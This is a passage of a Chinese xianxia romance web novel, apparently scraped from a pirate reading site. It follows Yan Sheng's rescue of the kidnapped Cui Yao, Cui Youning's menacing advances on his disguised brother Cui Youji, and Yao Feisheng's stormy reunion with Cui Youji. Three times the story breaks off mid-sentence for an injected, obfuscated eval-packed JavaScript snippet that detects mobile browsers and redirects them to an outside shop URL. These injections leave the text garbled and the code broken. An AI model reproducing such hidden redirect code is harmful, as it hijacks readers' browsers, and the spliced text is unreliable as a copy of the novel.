圆胖橘神神秘秘地凑到颜笙耳边,低声道:“该不会是要给爹下情蛊?” 颜笙朝陆析伸手,“拿来。” 陆析把小瓶盖上盖子,赶紧塞入袖子里,牢牢护住:“泥像需要血才能长出肉身,他需要借上神一滴血。” 颜笙说道:“用你的也行,非得我的?都飞升了,谁还搞血缘制了?”她说了一半突然意识到崔家的崔攸宁和崔巍,“至于崔家啊,他们家的人都不正常。” 说到这里,圆胖橘想到崔家近段日子的花边新闻,感慨道:“虫生三子,各有不同。” 屋内的泥像静静地站着,面无表情,听着屋外三人的欢笑声。 颜笙道:“所谓龙生龙,凤生凤,这话就不靠谱。飞升千年来,不知见过多少名门在败家子手里毁了?奈何凡人修士趋之若鹜,给那些二代仙鬼无偿吹嘘,哪怕他们在人前表现得像弱智,哪怕他们爸妈的灵石来路不干净!还有修士上赶着当小厮丫鬟,吹个仙圈公主、鬼圈太子!” “万物生而平等,生而为神,未必高贵。”陆析忽道。 屋内的泥像出现细微的裂缝,皓然君缓缓睁开了眼睛…… * 暮色四合,颜笙见泥菩萨皓然仍未有动静,便把它拜托给陆析照顾,之后她吞了一颗易声丸,变回了姚蜚声的声线,随后飞天离去。 颜笙回到桃源,刚踏入宫门,崔瑶、甄婉和窦不迟迎上来。 崔瑶将今日发生的事如实告知颜笙,又道:“神尊要我和婉儿赔偿冥王殿的损失,否则……” “说什么?”颜笙见他们欲言又止。 甄婉叹息道:“崔巍的意思是,若是赔不起,就要我嫁过给崔攸宁做赔偿。上次在无常界,他就提过要换嫁娶我一事,我没敢与您汇报。” 颜笙眉心蹙起,“欺人太甚。我出面替婉儿回绝了此事。” 她沉思片刻后,说道:“为了你们的安全着想,这几日他们三人交换岗位。无常界的庙宇交给崔瑶。崔攸宁喜好男色,崔瑶是他的侄女外加是女子,比不迟和婉儿安全。” 崔瑶点头,“属下领命。” “不迟去抱朴派帮我记录道场的愿望,所有愿望由我亲自定夺。” 窦不迟道:“师娘放心。” “婉儿最近留在显熠宫里,接替不迟处理鹤冲派的公文,暂时不要出去。” 甄婉道:“婉儿先谢过师娘。” 隔日一早,三人便交换岗位。 是夜,月明星稀。 甄婉由于之前在无常做事,作息与其他两人不同,外加心烦意乱,深夜难以入睡,便打开窗牖。显熠宫内凝烟白蝉花开遍,晚风拂过,一阵妖异的花香入屋。 她深吸一口气,轻轻摊开手掌,掌心赫然是一条红绳。 突然有一只手将那红绳抢走,她抬眸看,来人恰好是同样失眠的颜笙。 颜笙原本以为红绳上面是甄婉和什么人的名字,再仔细一看,这红绳上面竟然刻着自己和陆析的名字。 甄婉赶忙道歉:“是我自作主张乱拉红线。” “没事。”颜笙并不怎么小气,将红绳绕指,微微地翘起指尖,安慰道:“你不必多虑,红绳只能拴住凡人,拴不住我。转日我去趟良缘阁,将这红绳亲自系上。以后别人问起来,就说是我指使你做的。反正陆析对外是我的面首。” 她狡黠地一笑。 * 转日天刚亮,颜笙便拿着红绳前往良缘阁。 良缘阁外种着桃花林,忽起一阵微风,桃花香气扑面而来,阁楼外风铃响起。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200236|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阁门缓缓开启,嬛娥身穿着桃红衫子,静静立于门前。 颜笙不待她开口寒暄,便直接拎起绳子,兴师问罪:“是你向神尊告状的?” 嬛娥摸一把红绳,轻触上面颜笙两字,笑道:“良缘阁只负责世间姻缘,香火充裕,哪里用得着参与三界站队。” “那他怎么知道的?”颜笙不信她的说辞。 嬛娥引着颜笙进入阁楼,两人走近院内那棵缠绵红绳的姻缘树。 “因为红绳掉了。”嬛娥捡起地上一条红绳,缠绕在手腕,随后丢入焚烧炉里。 嬛娥继续解释:“蟾桂宴隔日,神尊到访过这里,正好这条绳子突然从姻缘树上掉落。” 蟾桂宴,那是去年秋日的事,可现在已经是来年夏天。 “这么早?”颜笙感慨完,走近姻缘树,便要抬手将红绳系上。然而在她松开指尖的刹那,红绳居然从树干滑落。 “为何会有这种情况。”颜笙转头看向嬛娥。 嬛娥俯身拾起红绳,喟叹一声:"名字与魂魄对不上。可你这绳子古怪得很——"她抬眸望向姻缘树,"既已系上,怎会无故坠落?难不成这男子今日叫陆析,明日便成了陆东?" “也不是没有可能。”颜笙心说,他们入画是在蟾桂宴当天晚上,陆归年第一次出现在她面前也是那日。怕不是陆归年附上陆析身子,也是在那晚。 颜笙想了想,把那块牌子上面的名字悄悄改成陆归年和颜笙,再次挂在树梢,她选了一根结识的树梢。 牌子刚挂上树,忽而飘来一阵没由来的风。姻缘树的树身微微颤动,大多数牌子安然无恙,唯有一枚牌子掉下。 颜笙捡起那牌子,发现是她刚挂上的那块。 这让她陷入深深的困惑,灵魂和牌子上的名号为何还是对不上? 难道世间既没有陆析这个人,也没有陆归年。那么,抱朴派那位叫陆析的弟子,究竟是谁? * 甄婉,崔瑶、甄婉和窦不迟三人更换岗位,很快就上手新的工作,倒没让颜笙操多少心,每日工作仍是有条不紊地进行。 最近桃源将逢佳节,再加上节气例会,颜笙需要长期在外忙碌,后面半个月都不在显熠宫。 临走前,颜笙特地嘱咐崔瑶,近来尽量不要和陆贺年见面。 最近幽冥赈灾一事在桃源闹得沸沸扬扬,颜笙上次听崔瑶谈及崔巍询问幽冥城主一事,便建议崔瑶暂时不回幽冥见陆贺年,留在显熠宫里以通讯石联系陆贺年。 直到确定崔瑶回显熠宫里,陆贺年才肯与崔瑶通话。 陆贺年说道:“瑶儿,最近幽冥事多,义父和姚城主每日都在奔波,幸好有你义母在那里照顾你,为父也算放心了。” 崔瑶听了一会儿,忽而困惑:“姚城主是谁?” “你娘。”陆贺年继续道:“差点忘了,你娘找到了。她就是你义母的灵宠仙及,最近刚找回自己的皮囊。多亏了那位危冥星君。” 崔瑶听罢激动不已,仙及居然是她素未谋面的娘亲!她声音都在打颤:“我...我能见她吗?我还没见过她化形的模样!” 陆贺年道:“近日怕是不成。我们近期忙得脚不沾地,待崔巍调来玄水缓解灾情,她方才能清闲,那时我再为你们安排相见。"他顿了顿,神色凝重,"你且记住,近日务必谨言慎行,多听你义母的教诲。" 崔瑶小鸡啄米似的点头,她从未见过自己的亲娘。听崔攸霁描述,她娘是世上最璀璨的女子,无常界每个人都敬重她,比她最敬重的颜笙上神还要耀眼! 她经常看见橙哥哥和颜笙上神私底下嬉笑怒骂,内心羡慕得不得了。她作为义女,完全不敢在她面前这么嚣张,也想找到自己的母亲,和她这样相处。 她满脑子都对娘亲想象,她憧憬着会面的到来,就连指尖都因期待,而微微发颤,在那块鱼形玉佩上欢快地敲击着。 60. 生命之源(五) 近十五日以来,桃源风平浪静。 桃源的规则“人要脸树要皮”。奈何颜笙对待甄婉这事,不讲体面那套,直接“崔攸宁私生活荒唐”为由,拒绝了婚事。 这桩婚事总算落幕,但颜笙担忧崔巍打击报复,便谎称甄婉近日病了,将她留在显熠宫里养病,也拒绝接待任何仙人的探视。 至于崔瑶这边,崔瑶在无常界的神庙里整理书册。无常的神庙是各路神仙的混庙,白日神使们一起工作,但半夜多数神使回去,只留一位守夜,各家神使轮流守夜,现在轮到崔瑶当值。 崔瑶整理书册时,一片蝉翼从书内掉了出来。她捡起那本书册,发现是冥王殿的列鬼传,里面记述着各位历代名鬼的事迹。 她刚翻到姚蜚声那段,却标着恶鬼本纪,还没等她看完,书册却被夺去了。 紫苏仙子出现,拿着那书册笑着说:“你可别乱翻,修传记可是冥王殿最近的要事,泄露了要掉脑袋的。就算你是冥王的侄女也不能通融。” 崔瑶虽好奇,想起陆贺年和颜笙的嘱托,他们两个千叮咛万嘱咐,要她在地下工作时候,要小心冥王殿的一切事物。 她谨慎地表示:“那我就不看吧。” 紫苏仙子叹息一声,以闲谈的语气道:“你知道吗,最近无常大旱,闹得民不聊生,多亏了幽冥赈济灾民。最近听说他们的城主回来了,听说是那个蝉精老城主。” 崔瑶“嗯”了一声,也没接话。 她早就从义父那里得知,如今她母亲姚蜚声已经归来,所以没什么意外。 紫苏仙子瞥一眼崔瑶,纳闷她情绪居然这么稳定了,便继续道:“那位女城主听说是叫什么飞升的。还派人和冥王明日谈判,今日我有的忙了。” 崔瑶耳朵动了动,瞧了一眼紫苏仙子,发现她转身离开。 她没有傻乎乎地跟上,反而走到附近桌案旁,继续整理书架上的书册。早两天见到姚蜚声和晚两天见到她,也没有什么区别。 今日书架的尘土略多。 崔瑶敏锐地察觉到不对,赶紧移开步子,又朝着书架施加了清洁咒。 可她忽然脑后一痛,紧接着一阵头晕,她便失去了意识。 再次醒来是被冻醒的。崔瑶瞧见自己被关在一块中间挖空的寒冰之中,还被下了禁制,在冰中无法施展任何法力。 崔瑶想起腰间的鱼形玉佩,屈指轻叩玉佩三下。 崔攸霁正设宴款待宾客,与宾客刚行过一轮飞花令,端起杯子罚饮,突然听到腰间玉佩发出的清脆声音。 闻声他手腕一颤,琼浆微洒于桌案。他连忙向周围宾客道歉,但眉心直突突地跳,右脸也在不停颤动,不祥预感腾然升起。 奈何高朋满座,他只得强压下过重的忧思,待散场时再向崔瑶问分明。 散场时,还未等崔攸霁解下玉佩,便瞧见百花宫一位仙子突然靠近,往他手心里悄悄塞了一张请柬。 这请柬竟是来自紫苏仙子,是他的好二哥邀请他到冥王殿一叙。 * 这日晚风冷得不寻常,往年这日桃源的人都聚在无常,为崔攸宁庆贺生辰。 唯独今年不同,桃源的人格外现实。崔攸宁近期不断惹事,多次触怒崔巍。而崔巍对崔攸霁日益看中,经常把一些能提升威望的事交由崔攸霁办。 前来冥王殿拜谒的仙人越来越少。 今日桃源境礼部事务繁多,颜笙处理完已经是深夜。她回到显熠殿,累得躺在榻上,翻看她的通讯石。 这石头一点开,跳出将近百条消息,大多数是出自陆贺年。 她惊得从褥子上坐起来,这时才得知崔瑶失踪的消息。她急急回拨,发现自己联系不上陆贺年。 直到划到陆析的名字,突然亮起。颜笙点开,发现石头投映的场景像是在陀铃火渊,突然画面侧移,照见被锁住的陆贺年。 那画面突然切断。颜笙脑中一片轰鸣,心道大事不妙。且不说陆析的下落,陆贺年这个程度的邪神,法力超出桃源的大半仙人,居然能被锁住? 这到底是发生了什么。 颜笙不由分说,连夜起身回一趟显熠宫,却见宫门口集结着二十名身穿红白黑三色道袍的仙人。 甄婉和窦不迟站在前面,远远瞧见颜笙,两人交头接耳了好一阵,随后甄婉飞身而来。 甄婉向颜笙解释了他们的来历。 这些人都是原本鹤冲派的弟子,自从天道飞升后,他们也都陆续飞升。颜笙在桃源买了座山,在山上建了一座道观,把鹤冲派的弟子都放在那里。 鹤冲山的弟子明面从不参与桃源世事,实际上是陆归年为颜笙留下的卫队。 颜笙开口便问:“既然是暗卫,为何今日要调动他们?” 甄婉却道:“瑶儿出事,师娘联络不上。我们大家自然要帮衬一把。” 颜笙摆摆手:“这暗卫看上去是底牌,我们不应过早亮出来。你快叫他们回去,我带你们去找瑶儿。” “可是——”甄婉犹豫了一会儿,心说这是天道的意思,然后看到颜笙腰间的通讯石亮起,便指了指。 颜笙打开一看,竟然是刚才不见的陆析。 陆析悠悠闲闲地坐着,泥菩萨皓然端茶过来。圆胖橘接过盘子,便将他推了出去,自己把两杯茶端过来。 颜笙问道:“你们可是在幽冥?” 陆析轻“嗯”一声,继续道:“陆贺年收到消息,说崔瑶被绑架去了冥王殿。圆胖橘想起你的交代,说陆贺年最近不宜露头,担心他一时冲动露面,便抓着我去了陀铃火渊。” 颜笙听着倒像是陆贺年会做的事,他上次去救萧知颜也是中了圈套,差点丢了性命。但又觉得哪里不对,于是她道:“你们两位的修为,加起来都凑不出一个金丹,能追得上他?” 陆析把圆胖橘推到前面,“你这孩子身在抱朴,心牵火渊,竟和陆贺年交换了传送信物。他催动那信物,拽着我和皓然,直扑向陆贺年身边。之后陆贺年就晕了。” 颜笙想起刚才进屋的皓然君,他是用混合着胡椒的泥土所做。陆贺年怕胡椒,他晕厥怕是因为胡椒过敏。 都昏厥了,看来症状不轻。 她忙嘱咐圆胖橘道:“你从四象袋的左起第三格里,取两颗清净丸,给他喂下。” 陆析看了一看圆胖橘,“这孩子刚才给陆贺年喂了清净丸。” “哦。圆胖橘知道该如何照顾他,你就别管了。有什么事,叫他直接联系我。”颜笙看圆胖橘领命离开,便松了一口气。 她又道出此刻的无奈:“今夜我这里也极为混乱。甄婉他们调用了天道留给我的护卫队,幸好我及时发现,让他们回去了,没让崔巍察觉。” 陆析看了一眼甄婉,便说:“鹤冲派表面属中立方,不到万不得已,不该过早暴露。” 甄婉悄悄点头。 颜笙和陆析没聊几句,她便掐断通信,说要下到无常救崔瑶去了。 陆析走到隔壁房间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208958|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见圆胖橘乖巧地守在熟睡的陆贺年旁边,展现出难得的安静成熟,忽而问道:“圆胖橘,你原先应该是人族吧?” “或者说,你是被陀铃火渊兽化过的伪猫妖?” * 今日是冥王崔攸宁的生辰,殿前冷落宾客稀,远不如三日前召开节气宴的清凉殿前热闹。 颓糜酒香与肉香充斥着轩敞的宫殿。 今日宾客稀少,宫殿中央的舞池拓宽不少,直赶上桃源宴会厅的舞池。 殿内放着乐府诗篇《燕歌行》,成群结队的蒙面舞者轻歌曼舞,扭动着妖娆身姿。舞蹈是紫苏仙子安排的,每个舞姬都戴着假面。 崔攸宁端坐主位,左右皆有美人侍奉,却始终目不斜视,直勾勾地盯着舞池角落处的一位舞姬,他舞姿略显笨拙,身着厚重的衣袍,但气质飘然若仙。 那舞姬觉察出崔攸宁直白的视线,心中慌乱无比。 面具之下是崔攸霁,上次节气宴散会后,他发觉崔瑶失踪了,看见紫苏仙子的请帖,便找到了紫苏仙子。 这请帖标注的宴会的日子是在今日,崔攸霁一眼便识出这是崔攸宁的生辰。往年生辰请帖都不会寄给他,今年居然会给他送一张。 崔攸霁明知有诈,但想到可能和崔瑶有关,便执意赴宴。没想到请他不是来吃席的,而是来献舞的。 可真是个折煞面子的主意。但紫苏仙子说,若他不肯,便不会将崔瑶的下落说出来,而且崔攸霁的法力并不强,进入虎穴也很难独立逃出。 崔攸霁戴上遮面,故意站在角落处。殿内放着的是一首古曲,他哪里会跳,拙劣地看着其他舞者的姿态,浑水摸鱼自然要在不起眼的地方。 他只企盼二哥能垂悯他,待这舞结束后,放他和瑶儿回家。 曲罢,未料道崔攸宁留下所有舞姬继续第二曲。 曲子再次响起,崔攸霁踩到裙摆,脚下一跌,坐在地上。 这是他的《谪仙赋》吗,当年他和姚蜚声分别后,投胎成一位宦海浮沉的官员,失意时作赋一篇,他自比深闺少妇,诉尽平生怨事。 这是看出他的身份,故意折辱他? 崔攸霁尝试站起来,长衣摆又将他反复绊倒。周围舞者顾不得扶他,脚偶尔踏在他的裙摆,将雪白的裙摆踩出污泥脚印。 台上的崔攸宁手指一紧,酒觞差点滑落。 崔攸宁突然站起身,粗暴地拂开前面的领舞,走向舞池的角落,一把横抱起地上的崔攸霁,朝着殿后走去。 崔攸霁陷入了极度恐慌,想道出自己身份,但喉咙被紫苏施加了噤声咒,只能任由崔攸宁将自己抱入后殿。 殿内烛火辉煌,床幔上绣着同根而生的枝蔓,却彼此交缠的枝蔓。 崔攸宁掀起床帐,俯身将崔攸霁放在榻上,指尖掠过露在面具之外的碎发,指尖在面具边缘游移,却迟迟不去揭开面具。 他的眼眸幽深,烛火照不进眼底。 崔攸霁品出一丝危险气息,偏脸躲过崔攸宁直白的目光,欲掀起脸上的面具,却被崔攸宁牢牢握住手腕。 “今夜你只是肮脏的伶人,谁准你摘下面具?” 崔攸宁以一种病态的眼神睥睨着崔攸霁,这里面可没有一丝怜悯和爱怜,倒是锁着一只即将出笼的阴暗猛兽,又在他耳边呢喃。 “我现在病成这样,都是因为你。” “该轮到你报恩了。” 就在这时,阴风骤起,蜡烛骤然熄灭,内殿大门訇然中开。 61. 生命之源(六) 殿门推开,寒风扯下绣着同根藤蔓的床幔,将崔攸宁掀翻在一侧。他的脑袋撞上梁柱,随后昏倒在地。 又一阵风刮过,崔攸霁被拦腰抱住,还没来得及起挣扎,双脚便离了地。闯入的不速之客行动迅疾如风,他看不清来人的面容,只知道自己被那人拖着飞离了冥王殿。他依稀记得,门口处似乎有见过颜笙和崔瑶的身影。 瑟瑟谷风掠过深林,皎皎月色照映着阴森的冥王殿。崔攸霁出来后,混乱的情绪仍无法平复。刚才发生的这种事,无论放到谁身上都无法接受,哪怕他深知自己是个变态,也没法接受另一种形式的变态。 崔家人全都是变态,变态,变态,可这实在是太变态了。 况且这变态还想把他的变态,加诸到自己身上。 这种事任何人遇到了,都需要点时间冷静。 他反复开导自己,最后他将一切归咎于崔巍的劣等基因,惊讶感才有所减缓。他又想起了崔瑶,她看上去只遗传到她母亲的优等基因,是个正常人,内心又得到了些许慰藉。 崔攸霁回过神来,发现自己停在半空,脚下踩着奇怪的云,看上去像是他卖出去的云朵法器,救他的人应该是个低阶仙人。那位仙人穿着拖地的柳花裙,裙摆迎风微微摆动。 他抬头偷觑女仙的面庞,不由得吓了一跳。 ——这模样竟与他魂牵梦萦的姚蜚声一致。不过,姚蜚声总是浓妆艳抹,而她脸只涂了淡妆,实在是有些过于端庄温婉。 面对与爱人相似的面容,崔攸霁自心深处,从未产生一丝亲近感,反倒排斥感更多。 崔攸霁皱起眉头,推开了姚蜚声,从云端纵身跳下去。姚蜚声见状,拽着他的手臂,也跟着他降落。 两人同时落地。姚蜚声往前伸手,摘下崔攸霁的面具,崔攸霁的长相和原来差不多,倒也没有变丑,这段关系倒还有些破镜重圆的希望。只是...... 现在决定权不在她手里,而且..... 她爹的!眼下她在颜笙身边当废物当久了,连怎么运功都忘了。眼下只能靠颜笙的法器狐假虎威,她自己打不过崔攸霁啊! 早知道叫颜笙过来了,把崔攸霁捆好送过去。 姚蜚声思前想去,觉得硬得不成,要不先以柔克刚,装柔弱试试? 她本性里就没有柔弱两字,虽然装不了一世,但装一时她还是有信心的。毕竟她在颜笙身边呆了千余年,也见过她怎么把陆归年哄得铁树开花,这区区的崔攸霁,可比那陆归年容易多了。 等把崔攸霁哄好带回幽冥,剩下的就好办了。她寝宫里的机关多的是,虽然困不住颜笙,但困住这一条鱼仙还不容易吗? 姚蜚声开始回想颜笙憋泪的技巧,憋了半天才氤氲了眼底,又故扮愁态,以微弱的声音唤道:“郎君,好久不见……” “你是谁?”崔攸霁忙打断她的寒暄,他对此毫无感觉,没展现出姚蜚声期待的情人重逢两眼泪汪汪,反而退后两步,与她保持着正常男女交往的安全距离。 姚蜚声看他这反应,心说这他不对劲啊。他不是受不了自己的粗暴,和那帮天上的那帮男人一样,喜欢柔柔弱弱的女子?这会她已经够温柔了,怎么还不上钩? 难不成是柔弱的程度还不够。 姚蜚声压下心中的不耐烦,拘着眉眼,嘴角勾起“皮笑肉不笑”程度的弧度,继续道:“我是蜚声。好久不见……” “哦。你还活着。”崔攸霁低头看着脚下,语气依旧淡淡的,仿佛在谈论一个陌生人。 对于崔攸霁而言,今日发生的事一桩接着一桩,没有一桩是他意料之中的。兄弟的事弄得他整个心情糟糕透顶,朝思暮想的已故恋人回来了,却变成他那些小妈的低眉顺眼模样。 他又不是崔攸宁。 况且,崔攸霁最近也没心思经营儿女情长。他能脱身寒窟,全凭袁思邈委托子幽作说客。目前他早已与子幽等人结盟,帮助复兴玄鸟一族,还要为颜笙运作神尊的位置。 他得在崔巍面前扮好乖顺嗣子,哪有功夫谈情说爱。 缀着东珠的皂靴踩过枯萎的野草,崔攸霁想明白了以后,总算抬起头。他面朝着姚蜚声,脚尖已然朝外,显然不耐烦地想要离去。 姚蜚声心说这家伙怎么冥顽不灵,又回想起当年酒后失言,惹得崔攸霁不告而别,估摸着是等她道歉了。 原先混沌界的那些人族“好好姑娘”,碰见渣男全家虐她们千百遍,只要渣男稍微垂一滴鳄鱼的眼泪,就感动得丢了脑子,笑着说原谅。 她觉得自己比起那些渣男的行径而言,实在算不得渣女,毕竟也没把岳父家底吃干抹净,也没骗人家生育价值。她不过是落几滴没有感情的眼泪,也没什么需要愧疚的。 姚蜚声泪如雨丝,发起了眼泪攻势,歉声道:“是我错了,从前我待你太凶了,以后我定会温柔地待你。” “这也不必,做你自己就好,别为谁委屈。”崔攸霁语气平淡,见她泪水依旧不止,甚至有点心烦:“何况,我当年并不觉得委屈。若那时遇见的,是如今这般无趣的你。恐怕子颜救我出来幽冥那日,我就回桃源境了。” 崔攸霁不由得怀念起记忆里的姚蜚声来。 当年的姚蜚声脾气暴躁火辣,常常当众指着他的鼻子,将他骂得抬不起头。而他每次出门,衣领处露出的部分总带着伤,旁人总投以同情目光。 然而,那些人毕竟不是他崔攸霁,哪懂他的快乐? 毕竟,崔家人全都是变态,哪里会有漏网之鱼?只是他装得比较好,比他们会掩饰欲.望。 姚蜚声心思单纯,脾气易怒又急躁。他只要轻轻一引导,她心头立刻烧起燎原之火,然后任由他操控着,提供他想要的东西。 这点,其他人根本不行。 颜笙拎着鞭子上门对质,他明知伞中玄机,却不肯解释半句,站在原地硬生生挨了两记鞭子。 可颜笙那等聪明人,很快察觉捕捉到他脸上未能压制住的笑,眼珠子嫌弃地转动,随后白了他一眼,然后一脸晦气地收了鞭,只叫他赔偿崔瑶灵石。 如今的姚蜚声,恐怕也不能提供他想要的了。 崔攸霁委婉表示:“一万年过去,物是人非。瑶儿也长大了。” 姚蜚声心说,之前她仍是哑蝉仙及的时候,总听见崔攸霁在颜笙面前诉说对自己的思念。这思念诉说了一万年了,总不可能全是“崔公好蝉”吧? 难怪颜笙说了,悼亡诗都是男人的时尚单品。 崔攸霁挥手召来云彩,抬头远眺一下幽黑的天空,便转头与姚蜚声道:“天色已晚,改日再谈吧。这里离幽冥不远,以姚城主的法力应该不难应对,我们就此别过。” 几乎不给姚蜚声机会说话,他便一只脚踏上云朵。 姚蜚声握住他的手腕,愠怒地质问道:“你还是怪那日喝多了,酒后失言?我如今已经戒掉酒了。” “哎,蜚声。你真不必戒掉心中所好。”崔攸霁甩开了姚蜚声的双手,奉劝道:“别白费力气了。我如今乃高阶上神,仙力仅次于颜笙,而你这些年功力早就退了不少。” 他甩袖弹开姚蜚声,盈袖的凝烟白蝉花的香气扑在姚蜚声脸上。 姚蜚声一时没站稳,拽向他腰间的配饰,那配饰落到她手里。捧起来看,竟是一枚香囊。香囊是显熠宫的纹样,里面装着她最喜欢的凝烟白蝉花,袋口缠着他们初遇时那柄剑的剑穗。 那枚香囊很快被崔攸霁夺回去,两人俱是无言。 少顷,崔攸霁解下剑穗,留下孤零零的囊袋束于腰间,又把剑穗递给姚蜚声:“这剑穗,你若是喜欢就拿去吧。至于香囊,是他人赠予之物,我不可轻易转赠。” 姚蜚声明媚而笑。这香囊是显熠宫之物,要不是她是仙及,还真以为他变心喜欢上桃源境的女仙。 没变心,却假装变心,故意赶她走—— 这比真变心还让她难受。 “那我回去就将剑穗烧了。”姚蜚声再也装不下去了,撤走那剑穗,狠狠踩他一脚,“日后你的做的你的仙君,去找你相好的仙子,也不要再见我。” 立在对面的崔攸霁,感受到脚背的疼痛,又看着姚蜚声蛮横的模样,食指不由得微颤,但犹豫一下便勾回指尖,在袖中握紧拳头。 “你………” 姚蜚声转身就走,但想了想还是没消气,转身又朝着崔攸霁小腿踹了一脚,把他踹成原地下跪,这时候心情才算好点,打算回幽冥喝闷酒去。 谁知还未等她离开两步,崔攸霁望着她的背影,终于按捺不住的心情,他赶忙起身,伸手将姚蜚声往怀里一带,将她揽入怀抱,又在她耳边呢喃:“这才是我的蜚声。” 姚蜚声不知晓崔攸霁发什么癫,而且心跳得极快,心说怕不是被打傻了?可她揣的是小腿,又不是脑袋,莫不是男人的脑袋都长在下面? 她轻推着崔攸霁,可却被抱得更紧,压得她有点难以呼吸。 眼角一斜,她瞥见不远处飘来一缕白色的烟雾,心说这附近还有孤魂野鬼看着呢,要是被人看到她还和渣男前任纠缠不清,这不耽误她寻觅新欢吗? “你他爹的负心汉,快给老娘滚远点。” 只一秒钟的工夫,一张面具覆在她脸上。 姚蜚声不解,刚才这个面具,似乎挂在崔攸霁脖子上,不是他亲哥的小情趣吗,这会儿怎么挂她脸上,是觉得太丢人了,甩锅给他。 那缕白烟飘得更近了,崔攸霁早就瞥见了,这会儿一边瞥着白烟,又把怀中人往胸膛处贴紧三分,使得他赤忱的心跳声都在她面前暴露无遗。 崔攸霁扫了一眼那道白烟,随即开了口:“颜笙上神,我的话句句肺腑,未敢对上神有半句欺瞒。” 那股白烟散走,崔攸霁松了一口气,浑身松懈下来。 姚蜚声趁机挣脱怀抱,扬起藏在袖子里的纤纤玉手,一巴掌用力糊在崔攸霁脸上。 “啪——” 耳光声极其响亮,发红的五指印很快显现在崔攸霁的脸上,他的嘴角淌下血丝。不用想都知,明日他的侧脸定会肿起来。 “真是渣男。” 姚蜚声骂骂咧咧,这一生气她倒是能催动体内更多灵力了,她把自己的灵力注入刚握紧的拳头里,朝着崔攸霁的脸,又重重锤了他一下。 崔攸霁摔倒在地,姚蜚声跨坐在上面,揪着他的衣领,将他半提着,憋得他面色发紫。 “难怪以前颜笙和你打了一架,回去就跟我絮叨,说你这个渣男多少有点毛病。从前老爱叽叽呱呱说一堆我听不懂的,说是给我听的,还当你是喜欢卖弄。原来就是知道我听不懂,叽叽咕咕是说给颜笙听的?” 崔攸霁没有解释,只闭着眼睛,静静等待着姚蜚声的惩罚。 万万没料到,姚蜚声松开了手,还站了起来,又嫌恶地甩了甩自己的手:“他爹的,抽得我手疼,改天还真得找颜笙要点趁手的法器。” 崔攸霁依旧躺着,指尖指了指自己脖子上面的红痕,显然也有点惊讶,询问道:“就这样,就消气了?你现在未免也太好哄了。” 姚蜚声没听明白,当他是挑衅,但是实在不想让自己的手再受罪了,只道:“今天先放过你,还不快给我滚。” 崔攸霁深呼出一口气,只好意兴阑珊地招来一片云彩,随后登云而离。 等到崔攸霁走后,姚蜚声像是耗尽了最后一点力气。她疲惫地蹲下身子,后背靠着粗糙而寒冷的树干,回想着刚才崔攸霁的所有言行。 这样说来,她是被渣了? 姚蜚声忽然想起万年前的某个清晨。 那日屋内燃着的合欢香还未散尽,她刚睁开眼睛,就看见崔攸霁斜靠着玉枕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213754|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他每日醒得比她要早,手里总捧着书研读。 “貌丰盈以庄姝兮。”崔攸霁突然出了声,他念的是《神女赋》中的一个章句,也是他今日捧在手中的书。 姚蜚声听不大懂,白了他一眼,侧目瞥了一眼屏风,见屏风后的影影绰绰,依稀是子颜的轮廓。 * 泛着淡黄光泽的屏风映着颜笙的影子,冥王殿内的烛光缓缓摇曳着。 崔攸宁伏在桌案上奋笔疾书,勤勤恳恳地写着一封保证书,手边还摆着墨迹未干的退婚书。一个时辰前,颜笙拿着长鞭,狠狠揪住他的脖子,逼得他向甄婉道歉,又写下退婚书。 颜笙还觉得这点不够,又要他写下承诺书,保证以后绝对不再骚扰显熠宫的任何人。 崔攸宁现下终于写完,忙搁下笔松了一口气,崔瑶立刻将那张保证书抽走,递给颜笙检查。 颜笙认真看过,见书面内容与她口述的意思一致,字里行间没有玩弄文字游戏,这才谨慎地点头,把鞭子收回了两仪袋里。 她又命令崔瑶,把保证书递给崔攸宁:“让他打一记仙印,免得回头赖账。” 崔瑶在旁边盯着崔攸宁按好仙印,把那保证书收进自己的四象袋里,随后又想起来到这里时撞破的景象,便对颜笙感慨:“义母您瞅瞅,崔家有一个正常人吗?” 颜笙无奈道:“你这不是把自己都骂进去了。” 崔瑶尴尬地笑道:“还好还好,这一代的人都正常。” 颜笙点头,对着崔攸宁表情严肃地说道:“你和崔攸霁有什么爱恨情仇,我都管不着。但若动我显熠宫的人,我定当不会手下留情。” 崔攸宁沉默不言,望着门口处发呆。 道不同不相为谋。崔瑶和颜笙并不想与崔攸宁多费口舌,两人转身就走。在入口处,一抹白色影子降临,挡住了两人的去路。 白影之中显出崔巍的身形。 崔巍笑眯眯看着颜笙,指了指身后横七竖八躺着的冥殿卫兵,笑道:“颜笙上神真厉害,一个人竟把整个冥王殿掀翻了。” 